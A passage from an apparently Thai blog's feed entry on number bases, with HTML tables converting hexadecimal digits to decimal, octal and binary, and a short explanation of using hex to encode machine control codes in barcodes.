&lt;td&gt;&lt;b&gt;D&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;13&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;15&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #E3EDE9; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;E&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;14&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;16&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: white; width: 24px;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: #f6a07c; color: black; height: 24px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;F&lt;/b&gt;&lt;sub&gt;hex&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;15&lt;sub&gt;dec&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;17&lt;sub&gt;oct&lt;/sub&gt;&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: red; width: 24px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background: black; height: 2px;&quot;&gt;
&lt;td style=&quot;background: black; width: 2px;&quot;&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table class=&quot;wikitable&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th&gt;ฐานสิบ&lt;/th&gt;
&lt;th&gt;ฐานสอง&lt;/th&gt;
&lt;th&gt;ฐานสิบหก&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;11110&lt;/td&gt;
&lt;td&gt;1E&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; การแสดงฐานตัวเลขต่างๆในตารางสุดท้ายนี้ จำนวน 30 คือจำนวนตัวเลขของเลขฐานสิบ (decimal)จะสามารถแปลงค่าเท่ากับจำนวน 11110 ของเลขฐานสอง (binary) หรือเท่ากับจำนวน 36 ของเลขฐานแปด (octal) หรือเท่ากับจำนวน 1E ของเลขฐานสิบหก (hexadecimal)&lt;br /&gt;
สามารถยกตัวอย่างเพิ่มเติม คือจะเห็นว่า จำนวน 31 ของเลขฐานสิบ (decimal)จะสามารถแปลงค่าเท่ากับจำนวน 11111 ของเลขฐานสอง (binary) หรือเท่ากับจำนวน 37 ของเลขฐานแปด (octal) หรือเท่ากับจำนวน 1F ของเลขฐานสิบหก (hexadecimal)ซึ่งสามารถแสดงได้ตามลำดับดังนี้&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;   31       11111     37        1F&lt;/pre&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ระบบเลขฐานสิบหก (hexadecimal)นี้จะเป็นที่นิยมใช้ในการเข้ารหัส (encode)คำสั่งควบคุมเครื่อง (control code ) ที่อยู่ในระบบเลขฐานสอง ( binary ) ที่มีจำนวนคำสั่งยาวมากๆ ยกตัวอย่างได้เช่นตามคำอธิบายข้างต้น ถ้า 11111 เป็นคำสั่งควบคุมเครื่องในรูปเลขฐานสอง(binary)คือ 11111 ผู้ควบคุมเครื่องอาจจะเข้ารหัส ( encode)คำสั่งควบคุมเครื่องไว้ในรหัสบาร์โค้ด(barcode)ในรูป 1F ถ้าใช้รหัสเลขฐานสิบหก (hexadecimal)ซึ่งบาร์โค้ด(barcode)นั้นเวลาพิมพ์ที่จะใช้ให้เครื่องอ่านคำสั่งควบคุมเครื่อง จะใช้ความยาวของบาร์โค้ด(barcode) 2 ตัว เช่นการใช้ระบบเลขฐานสิบหก (hexadecimal)นี้ในการเข้ารหัส (encode)คำสั่งควบคุมเครื่อง (control code )สำหรับเครื่องจักรอัตโนมัติความเร็วสูง ( high speed Finishing system) เป็นต้น&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;ปล.ผมไม่รับ Hack หรือยิง IP เป็นการส่วนตัวเพราะผมไม่ใช่ Hacker แต่เป็น Programming Security &lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/4472660188286674151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/4472660188286674151'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/hexadecimal.html' title='เลขฐานสิบคือ อะไร?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy3ulnvRQmd_EI67m6pbRtvEnnDQoPYTnbOvS-miR_6PYY1ucy8KjwFF9k8h8q3IHvDqJ40HzfO8a2hMZ0cnxBn7sN9ITXPsk6yxTKvqHAZ_Z0KRurPCIPUO4A1Jm7-mWEeDTkDJ6mGN7x/s72-c/NF130107.GIF" height="72" width="72"/></entry></feed>